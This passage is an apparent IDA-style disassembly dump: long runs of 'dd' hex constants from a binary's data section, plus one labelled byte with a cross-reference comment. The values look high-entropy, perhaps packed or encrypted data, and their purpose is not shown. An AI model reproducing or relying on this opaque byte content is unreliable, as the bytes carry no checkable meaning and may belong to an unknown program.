dd 583EF2F8h, 1D05CEEBh, 0C2E9168Ch, 0B1579393h, 0E824E036h
dd 0E85F05B9h, 6055C8F2h, 9CBEE983h, 0E0C9459Ch, 80610F33h
dd 0B9045155h, 20DC3C68h, 85CC4BFh, 3112DD9Ch, 90EA65EAh
dd 3AB1E62Eh, 0E92AE009h, 722D2A9h, 0D4739EE3h, 0FD39B247h
dd 65EFBDF4h, 98AE0DDCh, 941BB89h, 0EC2A14E1h, 46E9F061h
dd 49A2B7E8h, 0FCC0D14Eh, 0D81731F6h, 4F84F5C4h, 93DFF4AEh
dd 62E71400h, 534CE181h, 0ED757FB3h, 1D1C093h, 0ADCB579Bh
dd 0DC4F21F8h, 5197C3A5h, 9A84081Eh, 6614C117h, 35BE0366h
dd 123127F0h, 0FAD4C82Eh, 22D6DA29h, 90FE4E2Bh, 3080F384h
dd 12D92105h, 9E95BDC6h, 0A5C04853h, 980CCFEh, 0E32839F4h
dd 99597E02h, 505B5A21h, 0E2EED60h, 0C6FED6F6h, 0EED0DE83h
dd 80103Ah, 5AF0880Bh, 0FB0C2004h, 25E9D8F0h, 2E72A0AAh
dd 5EC21B59h, 0BF1048A6h, 4C04C79h, 2606189Dh, 0D90355FDh
dd 294C0D1Bh, 4452AF7Ch, 425E270Ch, 7E1C092Ah, 7C647A02h
dd 0D403FB2Dh, 0FE4629Eh, 0CB08E50Ah, 8B0912D5h, 0EB024AF8h
dd 5C7AE943h, 0FC880EBFh, 971066E9h, 157812C7h, 0BB4C3864h
dd 3F76BD0Bh, 71AA3197h, 244D58D7h, 0C290F7EAh, 0D92D0794h
dd 2CC649B0h, 0AA5EE915h, 69543D97h, 45197114h, 0D26DFC50h
dd 5DDF720Ch, 9C5B97E7h, 42EFEF13h, 0A75CE997h, 0F1733DFEh
dd 0E7B46DBDh, 9693FEC2h, 0A5902E59h, 825669D9h, 8156D76Fh
dd 28E8EF13h, 5E00DE8Bh, 43307A82h, 2C41B6DEh, 0FE011B11h
dd 842EEE1h, 3C9A7C5Fh, 0C37DD2B2h, 507B6855h, 486300B8h
dd 0A20D7382h, 2818FB4Eh, 0E904D0F7h, 0A3615AFDh, 1D8D9FD3h
dd 9461B3BCh, 96A843E0h, 0C3808791h, 0ABF334E6h, 4AF0782h
dd 16D6A846h, 0BC06CE81h, 4BA77DAh, 0F6F7FD3Ah, 0B421EB2Dh
dd 9A22D940h, 0FAF0412h, 0FC85DDFDh, 535DBF74h, 828532DAh
dd 0B5D94B3h, 8303255Ch, 8C4E01EEh, 0C0051BADh, 82D77E87h
dd 9C5DAC90h, 6044FCF5h
dd 83AD1C91h, 0C0A0207Fh, 5E81F357h, 6D901F2Bh, 11AA05Ch
dd 9EEAF66Ah, 0C157F17Ah, 744170ACh, 6795598h, 0B1A20FEh
dd 0F126D5Bh, 4B35A281h, 31B1C80Fh, 0F9B00B67h, 0CF0BC829h
dd 765280DEh, 5F688013h, 59617B22h, 50C98198h, 5708707h
dd 281D923h, 79A6CE85h, 64075ECh, 202D5133h, 0B1BD612Fh
dd 0B02B9D70h, 29C64088h, 0E25FFA25h, 5687F98h, 405130Bh
dd 0B056E97Eh, 70AC2194h, 37FF610h, 2F05C0B9h, 85CFD16Fh
dd 5F6E542Fh, 4B14083Eh, 2C0FBD67h, 7C399E5Ah, 2485ED7Ah
dd 3D06573Dh, 0C62122FDh, 0E7835558h, 97F22320h, 0ED0E40FAh
dd 47CD8102h, 0DCEEF527h, 0A86519C3h, 0C7FFE714h, 7C69F97Bh
dd 0EB5B1744h, 0D88FD146h, 0DCFE6493h, 51F492F1h, 598C3E1h
dd 23A0C7FBh, 0D7A858E1h, 0C900FE5Ah, 0EF80CF86h, 0B8F82815h
dd 46B32458h, 6691026Ah, 8B83D168h, 6132ACDBh, 75960EF0h
dd 0C176245h, 5DBD6C80h, 40C52529h, 0B00BBFE2h, 0CB8C90DFh
dd 693C182Fh, 0BE2B182Ch, 15E3EECh, 0B49382BDh, 8192D7C2h
dd 0D9B79B9Fh, 17988AE0h, 0C3BEFEF1h, 88C1408Ah, 0B4EBE4C5h
dd 687888EEh, 7FD58252h, 4CDBD1B4h, 0AB58CA79h, 20068130h
dd 0F07B7D18h, 95146B1Dh, 4AC0210Fh, 0EB02CAC5h, 0E01E5C38h
dd 0B4837CDDh, 4E2A8AD5h, 84F120FCh, 4FE577A0h, 0AFCD1641h
dd 73833874h, 85FEBB10h, 7A65DD05h, 0B9A0A1FCh, 412543CCh
dd 845D66Ah, 0A8200659h, 4ABD8DBEh, 0B3F4BBAh, 8634AAF7h
dd 65BBDE13h, 6860BF53h, 2FE33F69h, 2A705B59h, 0C735820Bh
dd 0F70B8052h, 7584729Eh, 9BF29F14h, 50429112h, 0F5E1EBD0h
dd 749F3F1Eh, 578AC982h, 0DB4201A8h, 0A027DDEh, 402D8D62h
dd 2730BB88h, 9E581D6Fh, 3C26A47Bh, 540C704h, 16BB4054h
dd 87BAE97Dh, 67DD0598h, 0E076D285h, 4014947Dh, 0D297DDEDh
dd 0A3F9449h, 52A649BBh, 2533ECFDh, 0F2105DEFh, 53809CEDh
dd 68550057h, 202D3458h, 0B1B5895Dh, 162B579Eh, 0F344AA4Bh
dd 6FE8B9E9h, 0DDF74D09h, 4BD3C055h, 4D137F9Bh, 681EF761h
dd 2833095Ch, 47E16DDh, 1D724DE3h, 7720EA0Dh, 28BD9788h
dd 2FFC89ABh, 27965545h, 0A9F95E5Ah, 850FC083h, 1FFFFC95h
dd 228B95BAh, 0E8055510h, 45C7004Ah, 483F6152h, 6AE28AA0h
dd 7C441A2Ch, 0B2FD413Fh, 0C797C1F3h, 3F908206h, 0C859CD27h
dd 82F5C85Dh, 0F10135F0h, 18801068h, 0A06CCA01h, 572BE9C5h
dd 9D2B8BBh, 0C815620Eh, 13D7C293h, 0B9118EE6h, 0DDCB2A37h
dd 4D6CB907h, 0CED55525h, 4304C2E8h, 0E734705h, 4EBC95E9h
dd 0AAE431ECh, 0B90DBBE7h, 819C7B1Fh, 0DA10D9B0h, 8240414Dh
dd 0C1E65125h, 64DBED92h, 8677E257h, 0B1445F2h, 0C9D78302h
dd 0F9E53FD0h, 0DC5428ECh, 0D2826DAEh, 407BDC5Ah, 80FF9BE8h
dd 6E13A6BDh, 0F95F29B0h, 334FD656h, 74D84B66h, 16DE08BDh
dd 4913CB00h, 0A85BE3E9h, 0F25568C6h, 440B4F8Ch, 18634D1Ah
dd 4FC17F9Ah, 4ACAA674h, 5C01EBDBh, 0F1E9C209h, 0E4E66B7Eh
dd 0E13D5426h, 3EAEFBE9h, 0BD642935h, 7B5B98EAh, 28CB0916h
dd 700C2A1h, 4B0D685Fh, 0D642CC3Bh, 78C93912h, 0ECF325FEh
dd 0D14A7296h, 6CBFB517h, 864ADD83h, 49D049ABh, 908D378Ch
dd 25300217h, 212E78ACh, 0CA772437h, 576C3A7Ch, 29B7853Ch
dd 2B86223Dh, 0E5CDFF5Fh, 2595A12Ch, 559029Ah, 60156706h
dd 80C5FDF7h, 5B0FFE88h, 65536650h, 0F988B9E1h, 41774FE6h
dd 9748ABE1h, 0AD8D7F74h, 0AC7FC520h, 7B026B93h, 22BF74D0h
dd 1558E06h, 6B433668h, 0E917328Ah, 6ED1F15Ah, 0FF7D9AA7h
dd 1498B32Eh, 95FFE34Ah, 4F90132Ah, 8F4266A7h, 58565E0Eh
dd 154C6862h, 1A811BD1h, 520FB037h, 4ACD7C90h, 0F66FD1B1h
dd 47FD4FAAh, 184B52C4h, 9701CE38h, 69E62818h, 1491EA88h
dd 0B326975Bh, 4E786ED5h, 0A580164Fh, 70AD40D4h, 524F5E01h
dd 46D1ADB9h, 46A5B1h, 0B57BE268h, 3D00A846h, 9051E79h
dd 692AE9D0h, 20DB28B1h, 0BB535680h, 2834584h, 0BA80BE58h
dd 0A250A77Ch, 0CF13A0D6h, 0F72721E3h, 6482A1FEh, 0E2019A65h
dd 97EA45E4h, 0ACD817E9h, 0FE56E2A3h, 37FC082h, 35041DF3h
dd 1ABB09D8h, 4BC3F2ABh, 544C8981h, 10D56602h, 0BD462607h
dd 0AC276C46h, 60881203h, 26439A4Dh, 2946FB7h, 65F74E45h
dd 0C70BFFD2h, 0A9A2AB23h, 256E76FEh, 0EE6E3855h, 0FDC388B3h
dd 7BEB6838h, 6C04D15Bh, 0C7AA16B6h, 8A95A287h, 0D2905B7Bh
dd 245D084h, 0D562C480h, 0C8283983h, 0E459BD2Ch, 0EF97FE16h
dd 7F5E9270h, 0E80CC740h, 0B342973Ch, 0E23D0779h, 0C6DC9757h
dd 497D70CBh, 23484329h, 5301C01Eh, 5033808Ch, 801C2CB4h
dd 0ECC088F4h, 0E9E62045h, 0D3F14F9Eh, 0E7DC7B94h, 0C055242Fh
dd 0B873362h, 1F265C59h, 98285005h, 1FCE31C0h, 0EC059077h
dd 689212E6h, 639C118h, 86B02B1Bh, 0C03BDA2h, 0CFB9D2B2h
dd 15D53B67h, 920416ACh, 0C1119A64h, 0A59D6141h, 0EB998471h
dd 0D8A681B8h, 0B3539401h, 13C3801Dh, 78DB23Bh, 5B0EBA66h
dd 0C0DAF742h, 5858C254h, 0DC4C615Fh, 0C401527Ch, 6CD4E909h
dd 0AFDD8B4Ah, 4CE26429h, 0BFA2CCBEh, 0D69C20Fh, 0A11CCD15h
dd 3D293120h, 6181EB9h, 70A0157Bh, 2DB397h, 0CE1DD55Ah
dd 0F3AAE956h, 44BFA983h, 61E89374h, 2C0D645Dh, 0C7FA6096h
dd 63322F16h, 0E175E209h, 4088B7CAh, 0BD0153BAh, 3A911F8Ch
dd 57D41F2Eh, 0E7356E4h, 1F13055Eh, 0C07A6CCh, 8575BC56h
dd 9CCBF88h, 571F5547h, 402D2D4h, 0FD010D9Dh, 5216396Bh
dd 79174F7h, 10A44767h, 42A30006h, 32E90B1Ah, 32ACDC5Ah
dd 2C3D5C4h, 666D8068h, 20D19895h, 2D077FC1h, 35580E27h
dd 0B325FC50h, 0F4295870h, 5E892427h, 586BD471h, 373B1D6Bh
dd 1D5F13F0h, 0D8274464h, 0CC13FA39h, 0A6656F8h, 4409D443h
dd 5862ECB5h, 5A88951Bh, 7D7E2D8Eh, 0A66AE989h, 0A05ED3CCh
dd 9443F5DBh, 2045A615h, 8848209Ah, 937C20E9h, 14405717h
dd 12A1E300h, 2FE90AFEh, 0FC6DD10h, 0BCAEB13Dh, 0C95283h
dd 208B2D12h, 1269F281h, 5D1D3Dh, 516BDD4Dh, 12FE94Ah
dd 0BA189071h, 0CE721867h, 0A743266Dh, 0E912D1FEh, 0CABA541Fh
dd 0DBB9C420h, 0F1D359ECh, 0BEB26BE6h, 1F9AA85h, 6A15D653h
dd 0C6603030h, 0C2FE93BFh, 40BB5E9Ch, 28D284B4h, 6A622D04h
dd 6282261Fh, 84078B05h, 5A03533Bh, 5EC3AF2Ch, 2532BEFDh
dd 272C164h, 9F433BF4h, 9B097D45h, 0EF65574Ah, 44E441E5h
dd 7F6C1736h, 61AB17CEh, 3F6560EEh, 7C10DD90h, 0F83976A4h
dd 0FA835434h, 558FA0D1h, 327A165Ch, 3C21EA31h, 8E2F0A15h
dd 2DD84DEFh, 0D56AC085h, 209BAC42h, 0F63F5B6Ah, 0B90CB4DFh
dd 21EE7984h, 23C852F9h, 0D821137Bh, 3E89808h, 58FB866h
dd 7845F8A5h, 3A7FE1EDh, 972BEF05h, 588107ACh, 0DD53202Dh
dd 0B163E8Ch, 0DD44450Bh, 0B7C2DE3Ah, 5E44ABF7h, 0F6AF1517h
dd 0A8853358h, 0BECFAE8Ch, 0A97C4516h, 2CAAD30Fh, 7BE1E972h
dd 7CF6A240h, 371DB0Eh, 1C7B951h, 885B175Ch, 90C9AFC8h
dd 244C29ABh, 7E2E02E5h, 0DB5A5ABFh, 0FF92F80Fh, 0C643A563h
dd 0C0CF56A8h, 2D544860h, 0C202500Fh, 147C050Eh, 7ADAE03Ah
dd 3F199D1h, 7228079Bh, 0AE0EDCAh, 13304CC3h, 56C8BE19h
dd 0E9201368h, 0BAB180E7h, 862D3B59h, 0E6BDD263h, 0A61C1838h
dd 7550C4Eh, 0FE85D225h
dd 0C50E403Ch, 89186BCCh, 0A3C65EF1h, 74C23452h, 150AC10Ch
dd 282FED49h, 9ADC4E40h, 68511356h, 52750258h, 87A04959h
dd 0C497ACF1h, 55CDAD48h, 9FCE3E32h, 8041E90Bh, 3A3F5011h
dd 0C976E8CCh, 32565C69h, 0FDB39EC2h, 9A023F92h, 667D061Bh
dd 0B2C82D65h, 5C6BCFD6h, 0B3804902h, 793868E1h, 0B1044FC4h
dd 899F04A3h, 7C849CAh, 72F006D1h, 0C4F38F9Fh, 72EF600Dh
dd 427D0164h, 5A307C02h, 0E6A7045Dh, 0E94A81BEh, 11126AACh
dd 13618BBAh, 2BFBF9F7h, 4AF8486Ch, 0F36B4C39h, 0A1A45EB9h
dd 0B805F9BCh, 6A68834Eh, 6CEF1063h, 6B414C56h, 17037976h
dd 0EA7E85D2h, 5C09F19Eh, 0C902C138h, 7EF26E39h, 0AF34836Ch
dd 91304E5Ch, 5409780h, 0EF2F12EFh, 70712E01h, 6E9386h
dd 527B051Bh, 0D4EA0DA0h, 35324E1Eh, 88625BE6h, 0BF9A5FD3h
dd 0E3B42140h, 5C0290B9h, 0C05FD35Dh, 27520102h, 5154461Ah
dd 76B7C169h, 0AE22102Eh, 0D3780BE2h, 0D449E893h, 0F9545A9Fh
dd 0F00879A4h, 602D1444h, 6B041751h, 7E877300h, 0BD2D6D78h
dd 1AD309DAh, 0E2C47DA2h, 0C6B8018Dh, 0A230CA6Fh, 0C05A1D9Bh
dd 0B295320h, 1A5738FCh, 0F627A2BDh, 0BD8AC1E1h, 2B289D3Eh
dd 0A45A2AF9h, 79954C63h, 3EC7ACF7h, 0DC17E941h, 0ACB1B9FAh
dd 0B54D8903h, 540C3C4Ah, 0ACB89796h, 0E7D1049Fh, 0F3BE0B68h
dd 3B400036h, 0C9E9F7E5h, 0A7F896CCh, 0EAC76E5Ch, 0B5D0D7F4h
dd 9B6C3168h, 0B05A1209h, 16BD5D62h, 9A5052AAh, 9F6CBBD3h
dd 0F07233E9h, 9AB34750h, 0E33277F6h, 2B032127h, 0B3A6451h
dd 0DC40A57Bh, 53350781h, 90158574h, 3DA96878h, 8662B99Ch
dd 0A8997DFCh, 0F6DECA75h, 97DB62h, 0EC28F1BDh, 5360F4Ch
dd 4C7D5512h, 1C07682h, 0DD588ABEh, 0E3E4EB3Fh, 0D9247824h
dd 74ADB7E2h, 154110Ah, 0D4080AB2h, 5CCFF65Ah, 0F1D9018h
dd 0E8C5C9C8h, 0CF626BDCh, 59BF003Eh, 8AC1D76Ah, 3773CDC7h
dd 19DFEF6h, 0CBE9DE31h, 502A82A3h, 5F90B353h, 4A22AC7Ah
dd 0B9A4F88h, 3A475CE8h, 194400A6h, 0F25A15BCh, 2ABBD208h
dd 9B927A0h, 693079B2h, 82D50790h, 1EE8B880h, 8C5EF846h
dd 0B914A133h, 56679909h, 1998037h, 0BE18141h, 2BCA643Fh
dd 5BD68301h, 6FA9D36Ch, 0FEBA00B6h, 403D3F4Ch, 81B08398h
dd 521AB1C1h, 578C3B60h, 0BDD844Ah, 52D85CB5h, 0F498C704h
dd 9D07D4h, 0C1EFD1B5h, 440869E7h, 67F57D82h, 0FF49C2DFh
dd 2806C12Bh, 0C55B53EDh, 0BC5E01B4h, 585A8B1Fh, 374091EAh
dd 0D827383Ch, 0D8C3D839h, 91EA5E06h, 45AF4B07h, 77CB87E9h
dd 9BDBFF3Bh, 29F4CDE5h, 8F061199h, 2B19BD19h, 5CBF9B0Ch
dd 8384CC2Dh, 2BC2CFAh, 5AAA6818h, 82BC5D39h, 9C5E155h
dd 5BA20D2Bh, 6850E847h, 0B365FE02h, 5C40584Ch, 96B4092Fh
dd 0A24E1BD7h, 0A0B9D514h, 9758B01h, 1D105F47h, 2980C979h
dd 4659B5CFh, 7522D56Bh, 5DC2F729h, 0D809D648h, 2F9C2051h
dd 63E32E01h, 97404FA4h, 753D1D01h, 13284A6Fh, 7A2CFF42h
dd 2C02583h, 6698D065h, 0BEB5E90Bh, 0A5762D2Bh, 59C622C9h
dd 0F6677558h, 91B5B6Bh, 0AF9DD60h, 99D749h, 89EF053Ch
dd 0A2D02151h, 56503615h, 2D80DAEBh, 0B6411493h, 0E0059118h
dd 0BA148C1Eh, 61354180h, 9446730Dh, 0F3290AEAh, 0CFAB43C0h
dd 10406B48h, 48056C0Ch, 0BFABF57h, 0B2D87FA4h, 6FEF44FEh
dd 530174B3h, 562D77BBh, 0B9A02F22h, 1FE92506h, 966C681h
dd 46807ACEh, 613FF681h, 8BE60A44h, 0D6F7FC25h, 2FC610CEh
dd 192DA39Ch, 0F001E121h, 0EB205FDh, 0D609814Eh, 824715A7h
dd 2AD5BF00h, 2DBE01F4h, 0FE5F0BECh, 0F5F981DDh, 0AC08353Ah
dd 91FEB284h, 5D131AB9h, 5484AC0Ah, 0F31FF745h, 98806D93h
dd 0B3174868h, 0CCA03B25h, 0E3D14312h, 3978D4A8h, 175B6169h
dd 5F0B988h, 5D55796Eh, 4C7701FEh, 3A5A9A40h, 148C3E98h
dd 920D6D3Ch, 4B40A106h, 360C8E09h, 0D2AC2CBFh, 0A01BD5Eh
dd 294CC0E9h, 2058250Dh, 0F536A110h, 973B9C69h, 46DAF02Dh
dd 0D1836BBDh, 0FA487863h, 33DE9505h, 5830FC25h, 0C99F6857h
dd 38615FC8h, 200727A8h, 0F99DA81Eh, 80F627FEh, 5C180271h
dd 55EB801Ch, 0CE2B3FEh, 106D87C0h, 4F57E9D4h, 85EBBDC9h
dd 950BD501h, 2D8DE6EDh, 6596990Ch, 6CA2679Ah, 89BEE6F0h
dd 1829DCC0h, 75E92465h, 89509D2Ch, 0AB989DE8h, 724F3D68h
dd 0F38326BDh, 58176A05h, 74D1976Ch, 858C6EB0h, 918658C5h
dd 3C210D04h, 0A0C1D5F7h, 8105665Fh, 3B9E99DAh, 0A5A52739h
dd 68B59594h, 0B7737500h, 7FA59353h, 0B5C2B31Ch, 5CF8F1E9h
dd 195E82BBh, 0E0756A66h, 0B8EFBDh, 1D4CC32h, 0B9B3E9FDh
dd 21C44CBFh, 0E9893698h, 0B88020C1h, 4D705F7Ch, 3D10FB14h
dd 7BC258A4h, 53322700h, 6924E0B9h, 0F2014FB3h, 1DE9C42Bh
dd 5C5CB0h, 0FE39B151h, 80D9F6C9h, 304CF101h, 6198E9CEh
dd 1782E63Ah, 9EE69987h, 2D080211h, 44535434h, 7BCAEA5Eh
dd 0ECD75485h, 411AE81Dh, 3A08D4CCh, 5812FBEh, 7C9817CAh
dd 0A27F0F61h, 0A2C21810h, 18F0EA5Dh, 0C787B65h, 0B42505B3h
dd 12BE52F2h, 0EE3158C1h, 4A381392h, 10615DCAh, 0BFC05869h
dd 52FD4A65h, 0F72877C1h, 0D158E13Fh, 0FD046B0Dh, 416BE76h
dd 41EA1F80h, 685645C2h, 7F24D30h, 12E30874h, 0E41ECD83h
dd 0F7272655h, 59E7A78h, 670DF3D0h, 0AE1C9009h, 2B2CFD7Eh
dd 0F625FBE9h, 858272E8h, 50A397Bh, 1A476002h, 7F017D08h
dd 2E016211h, 0F7F0610Bh, 0D695AB14h, 770A807Ah, 0DFF773F6h
dd 3D3BB8B9h, 9881804h, 510C849Eh, 0C7D8A89Ah, 1EAF0A34h
dd 20B0FA01h, 140CD008h, 0B461AC5Bh, 0B4D614B6h, 340FE16h
dd 0E4FD26E9h, 59CA8995h, 0A2C3C477h, 0C439F2ACh, 0F9B7E984h
dd 2FC74B2Eh, 59E46E71h, 0CDD2F22Ch, 32AC2FBBh, 938DAC4h
dd 65ED85ADh, 0C10362E3h, 0AFD23E1h, 6A78D7F1h, 0BF72E228h
dd 0D3EBC7E8h, 0A8982873h, 6ABF61EBh, 3D2498B4h, 0BFCB6187h
dd 31685C68h, 4C557C7Dh, 0EFF107F9h, 0A07A315Dh, 0EEFAD297h
dd 0AFDDE4ABh, 3F629121h, 68152F0h, 0AF256CF3h, 0A0B0C51h
dd 2A03411Ah, 0D4CBB387h, 375E5A34h, 0E86D09B8h, 0D4FF1041h
dd 0E2D180B9h, 142C574Ah, 0A181F9Eh, 0E953C45Ah, 5525B019h
dd 40A2E692h, 0D6D06F6h, 6754A330h, 74C5E760h, 0B675D1F9h
dd 0CAF2F817h, 3D812496h, 1EF1927h, 0E9EC703Eh, 9E9D445Eh
db 0B6h
byte_4E0049 db 20h, 6Bh, 53h ; DATA XREF: ___:0042CC94o
dd 19B5511Eh, 57C29709h, 0C65D531Ah, 0AAC72037h, 4B9F6816h
dd 2FEB29ABh, 0AB93D2B3h, 3977132Dh, 961E74Fh, 65D1DBE9h
dd 0FD581381h, 5FE9B73Fh, 68DF4C42h, 80377F28h, 4BE03135h
dd 770F1175h, 0E425546Bh, 0F5D44183h, 6FE339BAh, 0E90948CFh
dd 0EE5FA010h, 5CE22571h, 817814D7h, 90583DCh, 7671AFAAh
dd 0DE372F09h, 0BE5CBF9h, 5BE8403Ch, 0CDAAB65Fh, 9E2C7DCEh
dd 480CC950h, 924A86CDh, 0D85FEB2Dh, 740CC5FAh, 5DAFC17Bh
dd 0C2DD7B53h, 93438D7Bh, 5887395Ch, 6055010Ah, 6206CF7h
dd 8F98730h, 0F0217448h, 7793409Eh, 1318CA63h, 8408189Dh
dd 5FD71846h, 80731D80h, 4D806D05h, 1708C684h, 79311857h
dd 887508DCh, 717C188Ch, 0B2630908h, 10D16018h, 10970A08h
dd 3A10A4E9h, 0CC2C1083h, 3845D618h, 8C4698Bh, 0F2042ADEh
dd 625B0458h, 306D7906h, 204DBF20h, 3B201B08h, 9FF3395h
dd 2818CB19h, 0D0087BC9h, 3834809Bh, 0E11E20CCh, 108563FAh
dd 8105C0Ah, 0C9108A42h, 91C4109Dh, 3051F418h, 13803CF0h
dd 0EB7B8087h, 152218C4h, 8F99980Ch, 40C78D40h, 8CE9FB77h
dd 8D5BE28h, 18476383h, 82A1A49h, 0FD2AD0BCh, 9040BC79h
dd 84F63AAh, 28181845h, 96084003h, 51848197h, 0A8D60C94h
dd 8C6C528h, 4011C6C5h, 31C441D4h, 790475DBh, 0CD9006E7h
dd 12C1C409h, 1923047Ch, 88C08E0Ah, 780C4F94h, 40D3084Bh
dd 2E66910Dh, 204854F9h, 0CF312DCBh, 7D18106Eh, 182CE01h
dd 540229B3h, 8EC080A3h, 0B7D31818h, 80ED3908h, 20C60F05h
dd 2008984Bh, 0D02049ECh, 1C3A201Eh, 30A0BE31h, 0F6012462h
dd 0F86999A1h, 0E4515A08h, 1095B0CDh, 9F12C016h, 6C604875h
dd 850EE0Ch, 30436393h, 8108BE7h, 0F7187B6Fh, 469920F4h
dd 8C240C81h, 2080924Dh, 2832338Fh, 480C10BBh, 80BFF9ACh
dd 0FCAA6334h, 4617E425h, 5159B0DCh, 0C4BC5E40h, 1368D319h
dd 7A18C318h, 1FA1C8BDh, 15844408h, 602490DEh, 71239800h
dd 18CC30B2h, 63EC995Fh, 6B4A0850h, 40AF2010h, 10D2BE19h
dd 257024C3h, 62726F40h, 6D2B109Ch, 24BB502h, 0A84AE296h
dd 55AAFC23h, 0E1150831h, 8BD9AB7h, 407DA4C9h, 2B40B353h
dd 202C9242h, 0DB20227Ch, 0E06E3260h, 0BCA37138h, 1010F0DDh
dd 0A31088CEh, 0AA1D18A6h, 807B7E08h, 20C481D8h, 0D01D8926h
dd 0FD5A1BFBh, 2420EE91h, 9068512Eh, 29F73193h, 0DB01D11Ah
dd 0A30895E9h, 9C6004B4h, 0A4C9E8FCh, 0D55CB02Eh, 8B1E4963h
dd 0ED23C7C7h, 3B100046h, 2752C47h, 896313EBh, 7AA7B90Eh
dd 105003Dh, 49408F44h, 7516C90Bh, 251C8BF7h, 3DE097Ah
dd 1E6855F0h, 0FF0C033h, 304FB118h, 7204AC2Ch, 0F8D75A42h
dd 360A1828h, 9BD552Eh, 28AB3C99h, 48B7027Dh, 0B3530197h
dd 0BEF5E074h, 42F9DC95h, 688010A0h, 3D0327C2h, 460C2560h
dd 4F317F02h, 0CC27A5E9h, 9AB20B1Fh, 72520830h, 2E444805h
dd 149F5962h, 0E90C072Dh, 0E537CAF3h, 2BF3075Bh, 259A6A3Fh
dd 0CC5F14CCh, 3F18973Ah, 0C5BE4E9h, 6AE89441h, 0C2EC7FC3h
dd 9F59CE67h, 0E42D34B7h, 156BC981h, 0FC05169Ah, 3133C943h
dd 9FDB965Dh, 13875104h, 0E9F1F4F9h, 6816D345h, 37C6E8C1h
dd 0E1585F64h, 516809Ch, 0F30DB635h, 0FC42BD27h, 3F3A1280h
dd 5AB71DFBh, 408839Ch, 5D76091Ch, 681DE025h, 19235F27h
dd 0F1475E84h, 53EF7231h, 17A65770h, 0EEAC108Dh, 12EE5575h
dd 0AB77D844h, 64314B5Fh, 0B33E82BCh, 375018DCh, 0F04B68D2h
dd 5DAD2D9Fh, 65CFD8E3h, 0B455E6Dh, 0FBE41BB0h, 5A60C69Eh
dd 69C5E992h, 8A7C20ADh, 39585D82h, 6455F6Fh, 0DDEB7989h
dd 52C17313h, 511089E3h, 0ACBF80B9h, 0EC9813Fh, 23014AD3h
dd 0C277E1C4h, 0F2783038h, 9FE80B4Ah, 38B868C2h, 94BA4FA0h
dd 6195E54Eh, 0E4AD11B9h, 5720E27Ah, 0C7F94FEh, 0BD381890h
dd 8375553Fh, 5DE8092Dh, 4F3A3452h, 7481BFD3h, 393A86F0h
dd 6BB7F938h, 57581503h, 269FC154h, 0C6F6ED2Ah, 500AD796h
dd 4A290ABAh, 2A8944D0h, 3C66F981h, 58382F69h, 36719589h
dd 0F6C68860h, 387A95D6h, 0E927040Fh, 95263AE7h, 0C4AA0C65h
dd 2301E75Bh, 0F7737048h, 0F9F851D7h, 1D98A329h, 0AF150AF2h
dd 597122F4h, 836B116Fh, 640984h, 0BB60CA68h, 525B275Ch
dd 0FDC3B4DEh, 0C77D3813h, 0D00D558Bh, 0A439757Eh, 7DCB69EBh
dd 1FEE0323h, 35AC865Ah, 60F1C72Dh, 7B73FFA2h, 4BC0C99h
dd 2C091BC3h, 0C5BFC8F4h, 5FA8843h, 280FC20Ah, 91092DD1h
dd 21701971h, 51AFE95Bh, 60C7EA04h, 0A60A820h, 0B35C9509h
dd 1FC23200h, 4C83E926h, 6CB6430Fh, 1041BB0Ah, 0F939A9DBh
dd 79BF1ACBh, 8BFD05E7h, 0C46DE63Ch, 0AF948DE9h, 5FB02AAAh
dd 52B026B8h, 7C3A1C68h, 0E95A86C8h, 518D4BDh, 0ED0C8005h
dd 0D810BA2Eh, 5F5C5A07h, 6BDE73EFh, 4A63707Eh, 0B7FE5A3Bh
dd 64EF9795h, 4F529182h, 753AB747h, 3EE1D883h, 20AEA6Dh
dd 0EB454172h, 690CE8D3h, 5E6889B1h, 4095EDFCh, 4E18F093h
dd 90AE337Bh, 0C9F0744h, 0E5463E9h, 0A93E6116h, 0C65B3807h
dd 18984A82h, 8E5EF221h, 5A277756h, 97FF7052h, 0C59FAB0Fh
dd 0E5DBC55Dh, 0BE352A6Eh, 0C3CDD8EBh, 0CC5F1609h, 9F3FC4Ch
dd 83A07E0Ch, 0E7282CC7h, 78EBEFEAh, 0FE30C41Bh, 77B35994h
dd 0F62AAD2h, 70FAC0B4h, 4EB58098h, 97EE283Ch, 85ED112Ch
dd 0CD83818h, 6FFAD588h, 3033E292h, 0D4F81EEBh, 4E01FE17h
dd 640A0588h, 8415E62h, 0B58CC41h, 0FBAD5207h, 0BB6049DEh
dd 8410E6h, 53EB8175h, 506087DEh, 12A16804h, 82F23637h
dd 751A0BC1h, 0A6BAC452h, 63431516h, 0C181B1C0h, 0F62018FAh
dd 678D0C13h, 0FC6BC43Fh, 88316B8h, 0A51953A9h, 0C4A67D94h
dd 9571FBB0h, 0F7F7E0BFh, 0CAC095D0h, 0C3307532h, 0F34D5456h
dd 25FEC53Eh, 3299CD97h, 0F2387CC5h, 0B7724877h, 5A88D4D4h
dd 3C741FC3h, 0DE01CB48h, 259D96DFh, 50E657BAh, 8031AC24h
dd 54A77497h, 7EFC207Fh, 2FA6B800h, 556811EDh, 6004B42Ah
dd 58B962B3h, 5F5CD2C1h, 0BC40126Bh, 1AA32B25h, 9ACB2934h
dd 37F2080Bh, 0DCC4435Bh, 8027CDABh, 0D868531Ah, 0A061691Ah
dd 9D64C7F4h, 98BD0DDBh, 0F3F537C1h, 5DFA0702h, 0DFD8293Ah
dd 2A40E132h, 8399D9E6h, 1AAA6057h, 0D829FECBh, 0D7E60B94h
dd 815FFE03h, 0E216DA77h, 0A5FD8031h, 0B3071172h, 0B607851Fh
dd 883B8518h, 0D9E195EAh, 1A4E10B2h, 0DAB25D7Ah, 20882D5Fh
dd 671F660Ah, 0F50F2F7Eh, 134625F7h, 0EC7810BCh, 0BAA0482Eh
dd 15F0E506h, 0ED054026h, 2D90DD7Eh, 0C44004AAh, 6B41FE7Ah
dd 6FD1456h, 3CA184EFh, 7D4FE22Bh, 7D896018h, 2FD1F6D8h
dd 1054F441h, 971ACD38h, 55C884E1h, 0EA42D28Fh, 0F54AE6CFh
dd 0B5623EC2h, 6BD6D9h, 0F91740Dh, 5602E2D1h, 8C27EFBEh
dd 30005D78h, 7101AAC6h, 0A3E92E12h, 0E2089140h, 3EA8058h
dd 28DB2CCEh, 0E9A104D0h, 0C6C77ECCh, 0A3AF21F4h, 5B914B79h
dd 886EF7D6h, 0E234E9F2h, 57F910E7h, 0A135DE04h, 4DEFD62h
dd 46F0148Eh, 981782h, 1B1EF8BDh, 0E5C16814h, 0B5F503BBh
dd 0B04A5213h, 375ABBCDh, 601820CCh, 2DEBEFFEh, 712EBD17h
